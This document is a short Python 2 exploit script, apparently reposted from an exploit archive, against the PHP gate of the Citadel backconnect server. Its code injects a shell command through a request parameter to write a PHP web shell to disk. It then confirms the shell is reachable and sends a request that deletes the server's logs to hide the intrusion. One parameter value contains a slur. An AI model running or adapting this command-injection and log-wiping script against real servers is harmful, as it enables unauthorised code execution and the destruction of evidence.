Citadel Backconnect Server 1.3.5.1 Remote Code Execution vulnerability

import urllib
import urllib2

# Citadel Backconnect Server 1.3.5.1 Remote Code Execution vulnerability
# Work only on windows box 

def request(url, params=None, method='GET'):
	if method == 'POST':
		urllib2.urlopen(url, urllib.urlencode(params)).read()
	elif method == 'GET':
		if params == None:
			urllib2.urlopen(url)
		else:
			urllib2.urlopen(url + '?' + urllib.urlencode(params)).read()

def uploadShell(url, filename, payload):
	data = {
		'b'  : 'tapz',
		'p1' : 'faggot',
		'p2' : 'hacker | echo "' + payload + '" >> ' + filename
	}
	request(url + 'test.php', data)

def shellExists(url):
	return urllib.urlopen(url).getcode() == 200
	
def cleanLogs(url):
	delete = {
		'delete' : ''
	}
	request(URL + 'control.php', delete, 'POST')

URL      = 'http://localhost/citadel/winserv_php_gate/'
FILENAME = 'shell.php'
PAYLOAD  = '<?php phpinfo(); ?>'

uploadShell(URL, FILENAME, PAYLOAD)
print '[~] Shell created!'
if not shellExists(URL + FILENAME):
	print '[-]', FILENAME, 'not found...'
else:
	print '[+] Go to:', URL + FILENAME
cleanLogs(URL)
print '[~] Logs cleaned!'

#  0day.today [2018-01-05]  #